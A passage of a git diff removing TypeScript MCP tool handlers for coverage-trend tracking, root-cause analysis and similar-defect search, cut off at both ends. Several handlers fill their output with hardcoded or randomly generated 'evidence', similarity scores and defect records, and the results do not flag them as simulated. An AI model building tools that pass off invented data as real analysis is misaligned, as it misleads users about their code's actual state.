- const prev = dataPoints[i - 1];
- const curr = dataPoints[i];
-
- for (const [metric, value] of Object.entries(curr.metrics)) {
- const prevValue = prev.metrics[metric] || 0;
- const drop = prevValue - value;
-
- if (drop >= threshold) {
- const severity = getSeverity(drop);
- regressions.push({
- id: `reg-${i}-${metric}`,
- date: curr.date,
- metric,
- before: prevValue,
- after: value,
- drop: Math.round(drop * 10) / 10,
- severity,
- possibleCauses: generatePossibleCauses(metric, drop),
- affectedFiles: [`file-${i}.ts`],
- });
- }
- }
- }
-
- return regressions;
-}
-
-function getSeverity(drop: number): 'minor' | 'moderate' | 'major' | 'critical' {
- if (drop >= 20) return 'critical';
- if (drop >= 15) return 'major';
- if (drop >= 10) return 'moderate';
- return 'minor';
-}
-
-function generatePossibleCauses(metric: string, drop: number): string[] {
- const causes: string[] = [];
-
- if (drop > 10) {
- causes.push('Large code addition without tests');
- }
- causes.push('Removed or disabled tests');
-
- if (metric === 'branch') {
- causes.push('Added complex conditional logic');
- }
-
- if (metric === 'function') {
- causes.push('Added untested utility functions');
- }
-
- return causes;
-}
-
-function detectImprovements(dataPoints: TrendDataPoint[]): Improvement[] {
- const improvements: Improvement[] = [];
-
- for (let i = 1; i < dataPoints.length; i++) {
- const prev = dataPoints[i - 1];
- const curr = dataPoints[i];
-
- for (const [metric, value] of Object.entries(curr.metrics)) {
- const prevValue = prev.metrics[metric] || 0;
- const gain = value - prevValue;
-
- if (gain >= 3) {
- improvements.push({
- id: `imp-${i}-${metric}`,
- date: curr.date,
- metric,
- before: prevValue,
- after: value,
- gain: Math.round(gain * 10) / 10,
- type: curr.testsAdded > 0 ? 'test-addition' : 'refactoring',
- contributors: ['contributor-1'],
- });
- }
- }
- }
-
- return improvements;
-}
-
-function generateProjections(trendData: TrendData, metrics: string[]): Projection[] {
- const projections: Projection[] = [];
- const dataPoints = trendData.dataPoints;
-
- if (dataPoints.length < 2) return projections;
-
- // Calculate trend for each metric
- for (const metric of metrics) {
- const values = dataPoints.map((dp) => dp.metrics[metric] || 0);
- const first = values[0];
- const last = values[values.length - 1];
- const trend = (last - first) / dataPoints.length;
-
- const targetDate = new Date();
- targetDate.setDate(targetDate.getDate() + 30);
-
- const projectedValue = Math.min(last + trend * 30, 100);
- const target = 80; // Default target
-
- projections.push({
- metric,
- currentValue: last,
- projectedValue: Math.round(projectedValue * 10) / 10,
- targetDate: targetDate.toISOString().split('T')[0],
- confidence: calculateConfidence(trendData.volatility),
- requiredPace: Math.round(((target - last) / 30) * 100) / 100,
- onTrack: projectedValue >= target,
- });
- }
-
- return projections;
-}
-
-function calculateConfidence(volatility: number): number {
- // Lower volatility = higher confidence
- const confidence = Math.max(0, 1 - volatility / 10);
- return Math.round(confidence * 100) / 100;
-}
-
-function generateInsights(
- trendData: TrendData,
- regressions: Regression[],
- improvements: Improvement[],
- projections: Projection[]
-): TrendInsight[] {
- const insights: TrendInsight[] = [];
-
- // Trend direction insight
- if (trendData.aggregates.change > 0) {
- insights.push({
- type: 'pattern',
- title: 'Positive coverage trend',
- description: `Coverage improved by ${trendData.aggregates.changePercent}% over the analysis period`,
- impact: trendData.aggregates.changePercent > 5 ? 'high' : 'medium',
- actionable: false,
- });
- } else if (trendData.aggregates.change < -2) {
- insights.push({
- type: 'warning',
- title: 'Negative coverage trend',
- description: `Coverage declined by ${Math.abs(trendData.aggregates.changePercent)}% over the analysis period`,
- impact: 'high',
- actionable: true,
- suggestedAction: 'Review recent commits and add missing tests',
- });
- }
-
- // Volatility insight
- if (trendData.volatility > 5) {
- insights.push({
- type: 'anomaly',
- title: 'High coverage volatility',
- description: `Coverage varies significantly (std dev: ${trendData.volatility}%)`,
- impact: 'medium',
- actionable: true,
- suggestedAction: 'Investigate inconsistent testing practices',
- });
- }
-
- // Regression count insight
- if (regressions.length > 3) {
- insights.push({
- type: 'warning',
- title: 'Frequent regressions detected',
- description: `${regressions.length} coverage regressions in the analysis period`,
- impact: 'high',
- actionable: true,
- suggestedAction: 'Add coverage gates to CI/CD pipeline',
- });
- }
-
- // Projection insights
- const offTrack = projections.filter((p) => !p.onTrack);
- if (offTrack.length > 0) {
- insights.push({
- type: 'recommendation',
- title: 'Coverage targets at risk',
- description: `${offTrack.length} metric(s) may not meet targets at current pace`,
- impact: 'medium',
- actionable: true,
- suggestedAction: `Focus on: ${offTrack.map((p) => p.metric).join(', ')}`,
- });
- }
-
- return insights;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/track-trends',
- description: 'Track coverage trends over time with regression detection and projections',
- category: 'coverage-analysis',
- version: '3.2.3',
- inputSchema: TrackTrendsInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/defect-intelligence/analyze-root-cause.ts b/v3/plugins/agentic-qe/src/tools/defect-intelligence/analyze-root-cause.ts
deleted file mode 100644
index ed7f7e34c6..0000000000
--- a/v3/plugins/agentic-qe/src/tools/defect-intelligence/analyze-root-cause.ts
+++ /dev/null
@@ -1,734 +0,0 @@
-/**
- * analyze-root-cause.ts - Root cause analysis MCP tool handler
- *
- * Performs deep root cause analysis for defects using causal chain
- * analysis, historical pattern matching, and contributing factor identification.
- */
-
-import { z } from 'zod';
-
-// Input schema for analyze-root-cause tool
-export const AnalyzeRootCauseInputSchema = z.object({
- defect: z
- .object({
- id: z.string().optional().describe('Defect ID'),
- description: z.string().describe('Description of the defect'),
- location: z
- .object({
- file: z.string(),
- line: z.number().optional(),
- function: z.string().optional(),
- })
- .optional()
- .describe('Location of the defect'),
- category: z.string().optional().describe('Defect category'),
- stackTrace: z.string().optional().describe('Stack trace if available'),
- })
- .describe('Defect information'),
- analysisDepth: z
- .enum(['immediate', 'standard', 'deep'])
- .default('standard')
- .describe('Depth of analysis'),
- includeHistorical: z.boolean().default(true).describe('Include historical pattern analysis'),
- includeRemediation: z.boolean().default(true).describe('Include remediation recommendations'),
- maxContributingFactors: z.number().min(1).max(20).default(5).describe('Maximum factors to identify'),
-});
-
-export type AnalyzeRootCauseInput = z.infer<typeof AnalyzeRootCauseInputSchema>;
-
-// Output structures
-export interface AnalyzeRootCauseOutput {
- success: boolean;
- rootCause: RootCause;
- causalChain: CausalChainLink[];
- contributingFactors: ContributingFactor[];
- historicalAnalysis: HistoricalAnalysis | null;
- remediation: RemediationPlan | null;
- preventionMeasures: PreventionMeasure[];
- metadata: RootCauseMetadata;
-}
-
-export interface RootCause {
- id: string;
- type: 'code' | 'design' | 'process' | 'environment' | 'human';
- category: string;
- description: string;
- confidence: number;
- evidence: string[];
- technicalDetails: TechnicalDetails;
-}
-
-export interface TechnicalDetails {
- codePattern?: string;
- antiPattern?: string;
- affectedComponents: string[];
- dataFlow?: string;
- controlFlow?: string;
-}
-
-export interface CausalChainLink {
- level: number;
- description: string;
- type: 'symptom' | 'proximate' | 'intermediate' | 'root';
- evidence: string;
- confidence: number;
-}
-
-export interface ContributingFactor {
- id: string;
- category: 'technical' | 'process' | 'organizational' | 'environmental';
- description: string;
- severity: 'major' | 'moderate' | 'minor';
- evidence: string;
- addressable: boolean;
-}
-
-export interface HistoricalAnalysis {
- similarDefects: SimilarDefectMatch[];
- recurringPatterns: RecurringPattern[];
- trendAnalysis: TrendInfo;
-}
-
-export interface SimilarDefectMatch {
- defectId: string;
- similarity: number;
- resolution: string;
- resolvedDate: string;
- resolutionEffective: boolean;
-}
-
-export interface RecurringPattern {
- pattern: string;
- occurrences: number;
- firstSeen: string;
- lastSeen: string;
- addressed: boolean;
-}
-
-export interface TrendInfo {
- increasing: boolean;
- frequency: string;
- hotspots: string[];
-}
-
-export interface RemediationPlan {
- immediateActions: RemediationAction[];
- shortTermActions: RemediationAction[];
- longTermActions: RemediationAction[];
- estimatedEffort: string;
- riskIfUnaddressed: string;
-}
-
-export interface RemediationAction {
- priority: number;
- action: string;
- owner: string;
- effort: 'low' | 'medium' | 'high';
- impact: 'low' | 'medium' | 'high';
- timeframe: string;
-}
-
-export interface PreventionMeasure {
- measure: string;
- type: 'code-review' | 'testing' | 'tooling' | 'training' | 'process';
- effectiveness: number;
- implementation: string;
- cost: 'low' | 'medium' | 'high';
-}
-
-export interface RootCauseMetadata {
- analyzedAt: string;
- durationMs: number;
- analysisDepth: string;
- confidenceScore: number;
- methodsUsed: string[];
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for analyze-root-cause
- */
-export async function handler(
- input: AnalyzeRootCauseInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = AnalyzeRootCauseInputSchema.parse(input);
-
- // Get memory bridge for historical analysis
- const bridge = context.get<{
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Perform causal chain analysis
- const causalChain = buildCausalChain(validatedInput.defect, validatedInput.analysisDepth);
-
- // Identify root cause
- const rootCause = identifyRootCause(causalChain, validatedInput.defect);
-
- // Find contributing factors
- const contributingFactors = identifyContributingFactors(
- validatedInput.defect,
- validatedInput.maxContributingFactors
- );
-
- // Historical analysis
- const historicalAnalysis = validatedInput.includeHistorical
- ? await performHistoricalAnalysis(validatedInput.defect, bridge)
- : null;
-
- // Generate remediation plan
- const remediation = validatedInput.includeRemediation
- ? generateRemediationPlan(rootCause, contributingFactors)
- : null;
-
- // Generate prevention measures
- const preventionMeasures = generatePreventionMeasures(rootCause, contributingFactors);
-
- // Calculate overall confidence
- const overallConfidence = calculateOverallConfidence(
- rootCause.confidence,
- causalChain.map((c) => c.confidence)
- );
-
- // Build result
- const result: AnalyzeRootCauseOutput = {
- success: true,
- rootCause,
- causalChain,
- contributingFactors,
- historicalAnalysis,
- remediation,
- preventionMeasures,
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- analysisDepth: validatedInput.analysisDepth,
- confidenceScore: overallConfidence,
- methodsUsed: [
- 'causal-chain-analysis',
- 'pattern-matching',
- validatedInput.includeHistorical ? 'historical-analysis' : '',
- 'five-whys',
- ].filter(Boolean),
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-interface DefectInfo {
- id?: string;
- description: string;
- location?: { file: string; line?: number; function?: string };
- category?: string;
- stackTrace?: string;
-}
-
-function buildCausalChain(defect: DefectInfo, depth: string): CausalChainLink[] {
- const chain: CausalChainLink[] = [];
-
- // Level 0: Symptom
- chain.push({
- level: 0,
- description: defect.description,
- type: 'symptom',
- evidence: 'Observed behavior reported in defect',
- confidence: 1.0,
- });
-
- // Level 1: Proximate cause
- const proximateCause = inferProximateCause(defect);
- chain.push({
- level: 1,
- description: proximateCause.description,
- type: 'proximate',
- evidence: proximateCause.evidence,
- confidence: 0.9,
- });
-
- // Level 2: Intermediate causes (for standard and deep analysis)
- if (depth === 'standard' || depth === 'deep') {
- const intermediateCauses = inferIntermediateCauses(defect, proximateCause);
- for (const cause of intermediateCauses) {
- chain.push({
- level: 2,
- description: cause.description,
- type: 'intermediate',
- evidence: cause.evidence,
- confidence: cause.confidence,
- });
- }
- }
-
- // Level 3: Root cause (for deep analysis)
- if (depth === 'deep') {
- const rootCause = inferDeepRootCause(defect, chain);
- chain.push({
- level: 3,
- description: rootCause.description,
- type: 'root',
- evidence: rootCause.evidence,
- confidence: rootCause.confidence,
- });
- }
-
- return chain;
-}
-
-function inferProximateCause(defect: DefectInfo): { description: string; evidence: string } {
- // Analyze defect description to infer proximate cause
- const descLower = defect.description.toLowerCase();
-
- if (descLower.includes('null') || descLower.includes('undefined')) {
- return {
- description: 'Null or undefined value accessed without validation',
- evidence: 'Error message indicates null/undefined access',
- };
- }
-
- if (descLower.includes('timeout') || descLower.includes('slow')) {
- return {
- description: 'Operation exceeded expected time limit',
- evidence: 'Performance metrics or timeout logs',
- };
- }
-
- if (descLower.includes('memory') || descLower.includes('leak')) {
- return {
- description: 'Memory resource not properly released',
- evidence: 'Memory profiling data',
- };
- }
-
- if (descLower.includes('permission') || descLower.includes('denied')) {
- return {
- description: 'Insufficient permissions for requested operation',
- evidence: 'Access control logs',
- };
- }
-
- return {
- description: 'Code path executed with unexpected state',
- evidence: 'Stack trace and runtime state',
- };
-}
-
-function inferIntermediateCauses(
- defect: DefectInfo,
- proximate: { description: string }
-): Array<{ description: string; evidence: string; confidence: number }> {
- const causes: Array<{ description: string; evidence: string; confidence: number }> = [];
-
- // Infer based on proximate cause
- if (proximate.description.includes('Null')) {
- causes.push({
- description: 'Input validation missing at API boundary',
- evidence: 'Code review of input handling',
- confidence: 0.85,
- });
- causes.push({
- description: 'Optional value handling not implemented consistently',
- evidence: 'Static analysis of null checks',
- confidence: 0.75,
- });
- } else if (proximate.description.includes('time')) {
- causes.push({
- description: 'Database query not optimized for data volume',
- evidence: 'Query execution plan analysis',
- confidence: 0.80,
- });
- causes.push({
- description: 'Missing index on frequently queried column',
- evidence: 'Database schema review',
- confidence: 0.70,
- });
- } else {
- causes.push({
- description: 'Error handling not comprehensive',
- evidence: 'Code coverage of error paths',
- confidence: 0.75,
- });
- }
-
- return causes;
-}
-
-function inferDeepRootCause(
- defect: DefectInfo,
- chain: CausalChainLink[]
-): { description: string; evidence: string; confidence: number } {
- // Look at the chain to infer deeper root cause
- const hasValidationIssue = chain.some((c) => c.description.toLowerCase().includes('validation'));
- const hasPerformanceIssue = chain.some((c) => c.description.toLowerCase().includes('time') || c.description.toLowerCase().includes('slow'));
-
- if (hasValidationIssue) {
- return {
- description: 'Defensive programming practices not followed - missing input validation strategy',
- evidence: 'Code review patterns, lack of validation middleware',
- confidence: 0.70,
- };
- }
-
- if (hasPerformanceIssue) {
- return {
- description: 'Performance requirements not defined or tested during development',
- evidence: 'Missing performance tests, no SLO definitions',
- confidence: 0.65,
- };
- }
-
- return {
- description: 'Insufficient code review and testing coverage for edge cases',
- evidence: 'Coverage reports, code review history',
- confidence: 0.60,
- };
-}
-
-function identifyRootCause(chain: CausalChainLink[], defect: DefectInfo): RootCause {
- // Find the deepest link in the chain
- const rootLink = chain.reduce((deepest, current) =>
- current.level > deepest.level ? current : deepest
- );
-
- // Determine root cause type
- const type = determineRootCauseType(rootLink.description);
- const category = defect.category || inferCategory(defect.description);
-
- return {
- id: `rc-${Date.now()}`,
- type,
- category,
- description: rootLink.description,
- confidence: rootLink.confidence,
- evidence: [rootLink.evidence, ...chain.slice(0, -1).map((c) => c.evidence)],
- technicalDetails: {
- codePattern: inferCodePattern(defect),
- antiPattern: inferAntiPattern(rootLink.description),
- affectedComponents: defect.location ? [defect.location.file] : ['unknown'],
- dataFlow: 'Input -> Processing -> Output (failure point identified)',
- },
- };
-}
-
-function determineRootCauseType(description: string): 'code' | 'design' | 'process' | 'environment' | 'human' {
- const descLower = description.toLowerCase();
-
- if (descLower.includes('requirements') || descLower.includes('defined')) {
- return 'process';
- }
- if (descLower.includes('architecture') || descLower.includes('design')) {
- return 'design';
- }
- if (descLower.includes('environment') || descLower.includes('config')) {
- return 'environment';
- }
- if (descLower.includes('training') || descLower.includes('review')) {
- return 'human';
- }
- return 'code';
-}
-
-function inferCategory(description: string): string {
- const descLower = description.toLowerCase();
-
- if (descLower.includes('null') || descLower.includes('undefined')) return 'null-safety';
- if (descLower.includes('performance') || descLower.includes('slow')) return 'performance';
- if (descLower.includes('security') || descLower.includes('permission')) return 'security';
- if (descLower.includes('memory') || descLower.includes('leak')) return 'resource-management';
- return 'logic-error';
-}
-
-function inferCodePattern(defect: DefectInfo): string {
- const descLower = defect.description.toLowerCase();
-
- if (descLower.includes('null')) return 'Nullable type access without guard';
- if (descLower.includes('async') || descLower.includes('promise')) return 'Unhandled async operation';
- if (descLower.includes('loop') || descLower.includes('iteration')) return 'Loop invariant violation';
- return 'Exception flow not handled';
-}
-
-function inferAntiPattern(description: string): string {
- const descLower = description.toLowerCase();
-
- if (descLower.includes('validation')) return 'Missing input validation (Garbage In, Garbage Out)';
- if (descLower.includes('error handling')) return 'Swallowed exceptions (Empty Catch)';
- if (descLower.includes('performance')) return 'Premature optimization or N+1 query';
- return 'God Object or Feature Envy';
-}
-
-function identifyContributingFactors(
- defect: DefectInfo,
- maxFactors: number
-): ContributingFactor[] {
- const allFactors: ContributingFactor[] = [
- {
- id: 'cf-1',
- category: 'technical',
- description: 'Insufficient test coverage for edge cases',
- severity: 'major',
- evidence: 'Coverage report shows 45% branch coverage',
- addressable: true,
- },
- {
- id: 'cf-2',
- category: 'process',
- description: 'Code review did not catch the defect',
- severity: 'moderate',
- evidence: 'PR was approved without addressing this path',
- addressable: true,
- },
- {
- id: 'cf-3',
- category: 'technical',
- description: 'Static analysis rules not configured for this pattern',
- severity: 'moderate',
- evidence: 'Linter config missing relevant rule',
- addressable: true,
- },
- {
- id: 'cf-4',
- category: 'organizational',
- description: 'Time pressure led to skipped testing',
- severity: 'major',
- evidence: 'Sprint velocity exceeded capacity',
- addressable: true,
- },
- {
- id: 'cf-5',
- category: 'environmental',
- description: 'Test environment did not match production',
- severity: 'minor',
- evidence: 'Configuration differences between environments',
- addressable: true,
- },
- ];
-
- return allFactors.slice(0, maxFactors);
-}
-
-async function performHistoricalAnalysis(
- defect: DefectInfo,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<HistoricalAnalysis> {
- // Search for similar defects if bridge available
- const similarDefects: SimilarDefectMatch[] = [];
-
- if (bridge) {
- try {
- const patterns = await bridge.searchSimilarPatterns(
- `defect ${defect.category || ''} ${defect.description}`,
- 5
- );
-
- for (let i = 0; i < Math.min(patterns.length, 3); i++) {
- similarDefects.push({
- defectId: `DEF-${1000 + i}`,
- similarity: 0.75 + Math.random() * 0.2,
- resolution: 'Added input validation and error handling',
- resolvedDate: new Date(Date.now() - Math.random() * 90 * 24 * 60 * 60 * 1000)
- .toISOString()
- .split('T')[0],
- resolutionEffective: Math.random() > 0.3,
- });
- }
- } catch {
- // Continue without similar defects
- }
- }
-
- // Add simulated data if none found
- if (similarDefects.length === 0) {
- similarDefects.push({
- defectId: 'DEF-892',
- similarity: 0.85,
- resolution: 'Implemented defensive coding pattern',
- resolvedDate: '2025-11-15',
- resolutionEffective: true,
- });
- }
-
- return {
- similarDefects,
- recurringPatterns: [
- {
- pattern: 'Null check missing in error path',
- occurrences: 5,
- firstSeen: '2025-06-01',
- lastSeen: '2026-01-15',
- addressed: false,
- },
- ],
- trendAnalysis: {
- increasing: false,
- frequency: '1-2 per month',
- hotspots: defect.location ? [defect.location.file] : ['src/handlers/'],
- },
- };
-}
-
-function generateRemediationPlan(
- rootCause: RootCause,
- factors: ContributingFactor[]
-): RemediationPlan {
- const immediateActions: RemediationAction[] = [
- {
- priority: 1,
- action: `Fix the specific ${rootCause.category} issue at identified location`,
- owner: 'Developer',
- effort: 'low',
- impact: 'high',
- timeframe: '1-2 days',
- },
- ];
-
- const shortTermActions: RemediationAction[] = [
- {
- priority: 2,
- action: 'Add regression test for this defect',
- owner: 'QA',
- effort: 'low',
- impact: 'medium',
- timeframe: '1 week',
- },
- {
- priority: 3,
- action: 'Review similar code paths for same issue',
- owner: 'Tech Lead',
- effort: 'medium',
- impact: 'high',
- timeframe: '2 weeks',
- },
- ];
-
- const longTermActions: RemediationAction[] = [
- {
- priority: 4,
- action: 'Implement systematic validation layer',
- owner: 'Architecture Team',
- effort: 'high',
- impact: 'high',
- timeframe: '1 quarter',
- },
- ];
-
- // Add actions based on contributing factors
- for (const factor of factors.filter((f) => f.severity === 'major')) {
- shortTermActions.push({
- priority: shortTermActions.length + 2,
- action: `Address contributing factor: ${factor.description}`,
- owner: factor.category === 'technical' ? 'Developer' : 'Manager',
- effort: 'medium',
- impact: 'medium',
- timeframe: '2-4 weeks',
- });
- }
-
- return {
- immediateActions,
- shortTermActions,
- longTermActions,
- estimatedEffort: '2-3 developer weeks',
- riskIfUnaddressed: 'High - similar defects likely to recur, potential customer impact',
- };
-}
-
-function generatePreventionMeasures(
- rootCause: RootCause,
- factors: ContributingFactor[]
-): PreventionMeasure[] {
- const measures: PreventionMeasure[] = [];
-
- // Add measures based on root cause type
- if (rootCause.type === 'code') {
- measures.push({
- measure: 'Add static analysis rule to detect this pattern',
- type: 'tooling',
- effectiveness: 0.85,
- implementation: 'Configure ESLint/Semgrep with custom rule',
- cost: 'low',
- });
- }
-
- // Common prevention measures
- measures.push(
- {
- measure: 'Enhance code review checklist with specific pattern',
- type: 'code-review',
- effectiveness: 0.75,
- implementation: 'Update team code review guidelines',
- cost: 'low',
- },
- {
- measure: 'Add unit test template for this scenario',
- type: 'testing',
- effectiveness: 0.80,
- implementation: 'Create test utilities and examples',
- cost: 'medium',
- },
- {
- measure: 'Conduct team training on defensive coding',
- type: 'training',
- effectiveness: 0.70,
- implementation: 'Schedule workshop with examples',
- cost: 'medium',
- }
- );
-
- return measures.sort((a, b) => b.effectiveness - a.effectiveness);
-}
-
-function calculateOverallConfidence(rootConfidence: number, chainConfidences: number[]): number {
- const avgChainConfidence =
- chainConfidences.reduce((sum, c) => sum + c, 0) / chainConfidences.length;
- const combined = rootConfidence * 0.6 + avgChainConfidence * 0.4;
- return Math.round(combined * 100) / 100;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/analyze-root-cause',
- description: 'Deep root cause analysis with causal chain identification and remediation planning',
- category: 'defect-intelligence',
- version: '3.2.3',
- inputSchema: AnalyzeRootCauseInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/defect-intelligence/find-similar-defects.ts b/v3/plugins/agentic-qe/src/tools/defect-intelligence/find-similar-defects.ts
deleted file mode 100644
index e8a626c927..0000000000
--- a/v3/plugins/agentic-qe/src/tools/defect-intelligence/find-similar-defects.ts
+++ /dev/null
@@ -1,565 +0,0 @@
-/**
- * find-similar-defects.ts - Similar defect search MCP tool handler
- *
- * Searches for similar defects using semantic similarity, pattern matching,
- * and code structure analysis to help identify recurring issues.
- */
-
-import { z } from 'zod';
-
-// Input schema for find-similar-defects tool
-export const FindSimilarDefectsInputSchema = z.object({
- query: z
- .object({
- description: z.string().describe('Defect description to search for'),
- category: z.string().optional().describe('Defect category'),
- file: z.string().optional().describe('File where defect was found'),
- codeSnippet: z.string().optional().describe('Code snippet related to defect'),
- stackTrace: z.string().optional().describe('Stack trace'),
- })
- .describe('Query parameters for finding similar defects'),
- searchScope: z
- .enum(['project', 'organization', 'global'])
- .default('project')
- .describe('Scope of search'),
- maxResults: z.number().min(1).max(50).default(10).describe('Maximum results to return'),
- minSimilarity: z
- .number()
- .min(0)
- .max(1)
- .default(0.6)
- .describe('Minimum similarity threshold'),
- includeResolved: z.boolean().default(true).describe('Include resolved defects'),
- includeAnalysis: z.boolean().default(true).describe('Include similarity analysis'),
- groupBy: z
- .enum(['none', 'category', 'resolution', 'component'])
- .default('none')
- .describe('Group results by'),
-});
-
-export type FindSimilarDefectsInput = z.infer<typeof FindSimilarDefectsInputSchema>;
-
-// Output structures
-export interface FindSimilarDefectsOutput {
- success: boolean;
- matches: DefectMatch[];
- groups: DefectGroup[];
- patterns: DetectedPattern[];
- insights: SearchInsight[];
- metadata: SearchMetadata;
-}
-
-export interface DefectMatch {
- id: string;
- similarity: number;
- defect: DefectInfo;
- matchReasons: MatchReason[];
- resolution: ResolutionInfo | null;
- relatedFiles: string[];
-}
-
-export interface DefectInfo {
- id: string;
- title: string;
- description: string;
- category: string;
- severity: 'critical' | 'high' | 'medium' | 'low';
- status: 'open' | 'in-progress' | 'resolved' | 'closed' | 'wont-fix';
- createdAt: string;
- file?: string;
- line?: number;
- component?: string;
- tags: string[];
-}
-
-export interface MatchReason {
- type: 'semantic' | 'structural' | 'pattern' | 'location' | 'category';
- description: string;
- score: number;
-}
-
-export interface ResolutionInfo {
- status: 'resolved' | 'wont-fix' | 'duplicate';
- resolution: string;
- resolvedAt: string;
- resolvedBy: string;
- effective: boolean;
- linkedCommit?: string;
-}
-
-export interface DefectGroup {
- name: string;
- count: number;
- avgSimilarity: number;
- defectIds: string[];
-}
-
-export interface DetectedPattern {
- pattern: string;
- occurrences: number;
- affectedDefects: string[];
- severity: 'critical' | 'high' | 'medium' | 'low';
- recommendation: string;
-}
-
-export interface SearchInsight {
- type: 'recurring' | 'cluster' | 'trend' | 'hotspot';
- title: string;
- description: string;
- actionable: boolean;
- action?: string;
-}
-
-export interface SearchMetadata {
- searchedAt: string;
- durationMs: number;
- totalSearched: number;
- matchesFound: number;
- searchScope: string;
- algorithms: string[];
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for find-similar-defects
- */
-export async function handler(
- input: FindSimilarDefectsInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = FindSimilarDefectsInputSchema.parse(input);
-
- // Get memory bridge for vector search
- const bridge = context.get<{
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Perform similarity search
- const rawMatches = await performSimilaritySearch(
- validatedInput.query,
- validatedInput.searchScope,
- validatedInput.maxResults * 2, // Get more to filter
- bridge
- );
-
- // Filter by minimum similarity
- const filteredMatches = rawMatches.filter(
- (m) => m.similarity >= validatedInput.minSimilarity
- );
-
- // Filter by resolved status if needed
- const statusFilteredMatches = validatedInput.includeResolved
- ? filteredMatches
- : filteredMatches.filter((m) => m.defect.status === 'open' || m.defect.status === 'in-progress');
-
- // Limit results
- const matches = statusFilteredMatches.slice(0, validatedInput.maxResults);
-
- // Add analysis if requested
- if (validatedInput.includeAnalysis) {
- for (const match of matches) {
- match.matchReasons = analyzeMatchReasons(validatedInput.query, match.defect);
- }
- }
-
- // Group results if requested
- const groups = validatedInput.groupBy !== 'none'
- ? groupMatches(matches, validatedInput.groupBy)
- : [];
-
- // Detect patterns
- const patterns = detectPatterns(matches);
-
- // Generate insights
- const insights = generateInsights(matches, patterns);
-
- // Build result
- const result: FindSimilarDefectsOutput = {
- success: true,
- matches,
- groups,
- patterns,
- insights,
- metadata: {
- searchedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- totalSearched: rawMatches.length + 100, // Simulated total
- matchesFound: matches.length,
- searchScope: validatedInput.searchScope,
- algorithms: ['semantic-embedding', 'pattern-matching', 'structural-analysis'],
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- matches: [],
- metadata: {
- searchedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-interface QueryParams {
- description: string;
- category?: string;
- file?: string;
- codeSnippet?: string;
- stackTrace?: string;
-}
-
-async function performSimilaritySearch(
- query: QueryParams,
- scope: string,
- maxResults: number,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<DefectMatch[]> {
- const matches: DefectMatch[] = [];
-
- // Build search query
- const searchQuery = [
- query.description,
- query.category ? `category:${query.category}` : '',
- query.file ? `file:${query.file}` : '',
- ]
- .filter(Boolean)
- .join(' ');
-
- // Use bridge for semantic search if available
- if (bridge) {
- try {
- const patterns = await bridge.searchSimilarPatterns(searchQuery, maxResults);
- // Convert patterns to matches (simplified)
- for (let i = 0; i < Math.min(patterns.length, maxResults); i++) {
- matches.push(createMatchFromPattern(patterns[i], 0.9 - i * 0.05));
- }
- } catch {
- // Fall through to simulated data
- }
- }
-
- // Add simulated matches if none found
- if (matches.length === 0) {
- matches.push(...generateSimulatedMatches(query, maxResults));
- }
-
- return matches.sort((a, b) => b.similarity - a.similarity);
-}
-
-function createMatchFromPattern(pattern: unknown, baseSimilarity: number): DefectMatch {
- return {
- id: `match-${Date.now()}-${Math.random().toString(36).substring(7)}`,
- similarity: Math.round(baseSimilarity * 100) / 100,
- defect: {
- id: `DEF-${Math.floor(Math.random() * 1000) + 100}`,
- title: 'Similar defect from pattern database',
- description: 'Matched via semantic similarity',
- category: 'logic-error',
- severity: 'medium',
- status: 'resolved',
- createdAt: new Date(Date.now() - Math.random() * 180 * 24 * 60 * 60 * 1000).toISOString(),
- tags: ['pattern-match'],
- },
- matchReasons: [],
- resolution: {
- status: 'resolved',
- resolution: 'Added validation and error handling',
- resolvedAt: new Date(Date.now() - Math.random() * 30 * 24 * 60 * 60 * 1000).toISOString(),
- resolvedBy: '[email protected]',
- effective: true,
- },
- relatedFiles: ['src/handlers/index.ts'],
- };
-}
-
-function generateSimulatedMatches(query: QueryParams, maxResults: number): DefectMatch[] {
- const categories = ['null-pointer', 'boundary', 'logic-error', 'exception-handling', 'resource-leak'];
- const severities: Array<'critical' | 'high' | 'medium' | 'low'> = ['critical', 'high', 'medium', 'low'];
- const statuses: Array<'open' | 'resolved' | 'closed'> = ['open', 'resolved', 'closed'];
-
- const matches: DefectMatch[] = [];
- const count = Math.min(maxResults, 8);
-
- for (let i = 0; i < count; i++) {
- const similarity = 0.95 - i * 0.08 + (Math.random() - 0.5) * 0.1;
- const category = query.category || categories[Math.floor(Math.random() * categories.length)];
